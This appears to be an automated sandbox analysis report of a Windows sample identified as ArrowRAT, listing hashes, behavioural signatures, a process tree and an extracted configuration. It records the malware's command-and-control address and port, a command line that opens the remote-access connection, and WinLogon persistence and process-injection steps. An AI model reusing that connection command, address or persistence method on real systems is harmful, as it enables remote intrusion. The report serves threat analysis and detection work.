Analysis
-
max time kernel
148s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20230621-en -
resource tags
arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system -
submitted
28-06-2023 14:25
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
file.exe
Resource
win7-20230621-en
windows7-x64
12 signatures
150 seconds
Behavioral task
behavioral2
Sample
file.exe
Resource
win10v2004-20230621-en
windows10-2004-x64
13 signatures
150 seconds
General
-
Target
file.exe
-
Size
457KB
-
MD5
288a04f04d9fc3e84ff5b2402c8050b1
-
SHA1
8e0b920bb33920e298ac9f73ab4b7ea0bbdfdbf2
-
SHA256
cd15fbc9e839dbc2888b3e72c47827e09a8bc50038a509f138c266ebcf2f3ed6
-
SHA512
928b111cfb151ad8967e1bde8e1e17ab592f0312f3883b1faf6578401b49cc741dde7ae426ee1ef7d8c985b3e4d4b287ccabaf01ea3841f8438d4dc993d9b5fb
-
SSDEEP
12288:QkoPbgRuF1R5u7w1eTe5XxLvZNOujzAKv546Q4dPHm:QkEb4E5u7w8Te5XxLhN9l54r4dHm
Score
10/10
Malware Config
Extracted
Family
arrowrat
Botnet
Client
C2
212.224.86.109:1337
Mutex
mTiBFWwWe
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\DIirrnVVh\\WgQyIIgDg.exe" jsc.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1956 set thread context of 1088 1956 file.exe 29 PID 1088 set thread context of 2024 1088 jsc.exe 31 -
Modifies registry class 5 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1437583205-2177757337-340526699-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1956 file.exe 1956 file.exe 1088 jsc.exe 1088 jsc.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 1956 file.exe Token: SeDebugPrivilege 1088 jsc.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: 33 304 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 304 AUDIODG.EXE Token: 33 304 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 304 AUDIODG.EXE Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe Token: SeShutdownPrivilege 2008 explorer.exe -
Suspicious use of FindShellTrayWindow 27 IoCs
pid Process 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe -
Suspicious use of SendNotifyMessage 17 IoCs
pid Process 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe 2008 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1088 jsc.exe -
Suspicious use of WriteProcessMemory 32 IoCs
description pid Process procid_target PID 1956 wrote to memory of 1932 1956 file.exe 27 PID 1956 wrote to memory of 1932 1956 file.exe 27 PID 1956 wrote to memory of 1932 1956 file.exe 27 PID 1956 wrote to memory of 1932 1956 file.exe 27 PID 1956 wrote to memory of 920 1956 file.exe 28 PID 1956 wrote to memory of 920 1956 file.exe 28 PID 1956 wrote to memory of 920 1956 file.exe 28 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1956 wrote to memory of 1088 1956 file.exe 29 PID 1088 wrote to memory of 2008 1088 jsc.exe 30 PID 1088 wrote to memory of 2008 1088 jsc.exe 30 PID 1088 wrote to memory of 2008 1088 jsc.exe 30 PID 1088 wrote to memory of 2008 1088 jsc.exe 30 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 1088 wrote to memory of 2024 1088 jsc.exe 31 PID 2008 wrote to memory of 1668 2008 explorer.exe 33 PID 2008 wrote to memory of 1668 2008 explorer.exe 33 PID 2008 wrote to memory of 1668 2008 explorer.exe 33 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess32.exe"2⤵PID:1932
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WsatConfig.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WsatConfig.exe"2⤵PID:920
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe"2⤵
- Modifies WinLogon for persistence
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:1668
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client 212.224.86.109 1337 mTiBFWwWe3⤵PID:2024
-
-
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x1601⤵
- Suspicious use of AdjustPrivilegeToken
PID:304